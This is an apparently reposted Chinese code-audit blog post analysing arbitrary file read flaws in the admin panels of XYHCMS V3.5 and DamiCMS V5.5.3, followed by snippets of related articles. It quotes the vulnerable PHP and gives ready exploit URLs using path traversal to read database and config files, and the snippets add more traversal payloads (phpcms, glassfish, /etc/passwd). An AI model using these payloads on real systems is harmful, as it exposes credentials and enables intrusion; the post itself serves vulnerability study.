【代码审计】两个任意文件读取漏洞实例

0x00 前言

0x01 漏洞实例一

环境搭建:

XYHCMS官网:http://www.xyhcms.com/

网站源码版本:XYHCMS V3.5(2017-12-04 更新)

程序源码下载:https://pan.baidu.com/s/13q_ITM0pPTGlkaNv8uq2Iw

代码分析:

1、漏洞文件位置:/App/Manage/Controller/TempletsController.class.php 第59-83行:

    public function edit() {
        $ftype     = I(‘ftype‘, 0, ‘intval‘);
        $fname     = I(‘fname‘, ‘‘, ‘trim,htmlspecialchars‘);
        $file_path = !$ftype ? ‘./Public/Home/‘ . C(‘CFG_THEMESTYLE‘) . ‘/‘ : ‘./Public/Mobile/‘ . C(‘CFG_MOBILE_THEMESTYLE‘) . ‘/‘;
        if (IS_POST) {
            if (empty($fname)) {
                $this->error(‘未指定文件名‘);
            }
            $_ext     = ‘.‘ . pathinfo($fname, PATHINFO_EXTENSION);
            $_cfg_ext = C(‘TMPL_TEMPLATE_SUFFIX‘);
            if ($_ext != $_cfg_ext) {
                $this->error(‘文件后缀必须为"‘ . $_cfg_ext . ‘"‘);
            }
            $content  = I(‘content‘, ‘‘, ‘‘);
            $fname    = ltrim($fname, ‘./‘);
            $truefile = $file_path . $fname;
            if (false !== file_put_contents($truefile, $content)) {
                $this->success(‘保存成功‘, U(‘index‘, array(‘ftype‘ => $ftype)));
            } else {
                $this->error(‘保存文件失败,请重试‘);
            }
            exit();
        }
        $fname = base64_decode($fname);
        if (empty($fname)) {
            $this->error(‘未指定要编辑的文件‘);
        }
        $truefile = $file_path . $fname;

        if (!file_exists($truefile)) {
            $this->error(‘文件不存在‘);
        }
        $content = file_get_contents($truefile);
        if ($content === false) {
            $this->error(‘读取文件失败‘);
        }
        $content = htmlspecialchars($content);

        $this->assign(‘ftype‘, $ftype);
        $this->assign(‘fname‘, $fname);
        $this->assign(‘content‘, $content);
        $this->assign(‘type‘, ‘修改模板‘);
        $this->display();
    }

这段函数中对提交的参数进行处理,然后判断是否POST数据上来,如果有就进行保存等,如果没有POST数据,将跳过这段代码继续向下执行。

我们可以通过GET传入fname,跳过前面的保存文件过程,进入文件读取状态。

对fname进行base64解码,判断fname参数是否为空,拼接成完整的文件路径,然后判断这个文件是否存在,读取文件内容。

对fname未进行任何限制,导致程序在实现上存在任意文件读取漏洞。

漏洞利用:

登录网站后台,数据库配置文件路径:\App\Common\Conf\db.php
我们将这段组成相对路径,..\\..\\..\\App\\Common\\Conf\\db.php,然后进行base64编码,Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==
最后构造的链接形式如下:
http://127.0.0.1/xyhai.php?s=/Templets/edit/fname/Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==
通过url访问,成功获取到数据库敏感信息:

0x02 漏洞实例二

环境搭建:

大米CMS官网:http://www.damicms.com
网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15)
程序源码下载:链接: https://pan.baidu.com/s/1QedJ1EelWHrIC4cX0kmWuA 密码: h4kj

代码分析:

漏洞文件位置:/Admin/Lib/Action/TplAction.class.php  第76-87行中:

public function add()
{
    $filename = dami_url_repalce(str_replace(‘*‘,‘.‘,trim($_GET[‘id‘])));
    if (empty($filename))
    {
        $this->error(‘模板名称不能为空!‘);
    }
    $content = read_file($filename);
    $this->assign(‘filename‘,$filename);
    $this->assign(‘content‘,htmlspecialchars($content));
    $this->display(‘add‘);
}  

这段编辑模板的函数中,首先对获取的参数进行替换,然后判断文件是否为空,接着带入read_file函数中执行,可以看到参数并未进行任何过滤或处理,导致程序在实现上存在任意文件读取漏洞。

漏洞利用:

登录后台, 全局配置路径在\Public\Config\config.ini.php,通过构造URL读取全局配置文件内容。
http://127.0.0.1/admin.php?s=Tpl/Add/id/.\Public\Config\config.ini.php

0x03  END

原文地址:https://www.cnblogs.com/xiaozi/p/8848100.html

时间: 2024-10-08 01:14:30

【代码审计】两个任意文件读取漏洞实例的相关文章

TEC-004-php文件下载任意文件读取漏洞修复

修改download?u参数值,将/public/files/14842030529.txt,替换为../../../../../../../../../../etc/passwd    function download() {        $u =$_GET['u'];        // 描述: 任意文件读取漏洞修复  date: 2017年4月28日 下午4:13:39  bylwy        $lenth=strrpos($u,'.');        $string = sub

PHPMailer命令执行及任意文件读取漏洞

今天在thinkphp官网闲逛,无意下载了一套eduaskcms,查看了一下libs目录中居然存在PHPMailer-5.2.13,想起了之前看到的PHPMailer的漏洞,可惜这套CMS只提供了一个邮箱接口,前台页面需要单独自己写,没办法用这套CMS进行复现,这边也顺便利用这个PHPMailer-5.2.13对CVE-2016-10033和CVE-2017-5223进行本地复现,记录一下. PHPMailer 命令执行漏洞(CVE-2016-10033) 漏洞编号:CVE-2016-10033

phpcmsv9.15以下任意文件读取漏洞

http://www.xx.com/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/caches/configs/database.php 成功读取数据库信息如下: 爆网站路径: http://www.xx.com/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&

glassfish任意文件读取漏洞解析

一.背景: glassfish是一款java编写的跨平台的开源的应用服务器. 二.漏洞原理: 与宽字节SQL注入一致,都是由于unicode编码歧义导致的.具体payload如下构造: http://ip:port/theme/META-INF/%c0%ae%co%ae/%c0%ae%co%ae/xxxpath/xxxfile 上述利用可以变形: http://ip:port/theme/META-INF/%c0.%co./%c0.%co./%c0.%co./%c0.%co./%c0.%co./

[代码审计]phpshe开源商城后台两处任意文件删除至getshell

0x00 背景 这套系统审了很久了,前台审不出个所以然来.前台的限制做的很死. 入库的数据都是经过mysql_real_escape_string,htmlspecialchars的处理. 二次注入没找到,逻辑漏洞也没找到.抛开实际利用来说,简单讲讲两个任意文件删除漏洞,在拿到后台之后的getshell方法. 0x01 phpshe程序简介 phpshe是一个开源商城程序,程序在前台入库的地方都用了pe_dbhold函数(mysql_real_escape_string,htmlspecialc

feifeicms后台任意文件读取

前台大略看了下,本身内容比较简单,经过"洗礼"后以及没什么问题了,基本上输入都过滤了. 这次审计找到了一个后台的任意文件读取,可以读取数据库配置文件. 在DataAction.class.php文件中,获取了$_GET['id']并直接用于路径拼凑,最后到达readfile函数中,导致了任意文件读取漏洞. 访问localhost/feifeicms/index.php?s=Admin-Data-down&id=../../Conf/config.php 需要后台权限,有点鸡肋.

【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析

  0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/cltphp 默认后台地址: http://127.0.0.1/admin/login/index.html 默认账号密码: 后台登录名:admin  密码:admin123 测试网站首页: 0x01 代码分析 1./app/admin/controller/Database.php  第221

phpmyadmin任意文件包含漏洞分析(含演示)

0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: phpMyAdmin 4.0.1 – 4.0.10.6 4.1.1 – 4.1.14.7 4.2.1 – 4.2.12 0x02 补丁分析 看到bobao.360.cn上提到了这个漏洞,于是我写个小分析吧,给渗透正没思路的人一个思路,也给学习代码审计的朋友一点资料. 前几天phpmyadmin出了个

审计 6 SSRF和任意文件读取

1 <?php 2 error_reporting(0); 3 session_start(); 4 header("Content-type:image/jpeg"); 5 echo file_get_contents($_SESSION['avatar']); 6 ?> 在第5行发现    读取的文件后,将文件进行了输出.  所以猜测此处可能存在SSRF 和  任意文件读取 搜索关键变量$_SESSION['avatar']  发现在登陆 和修改密码 读取了改变量,而上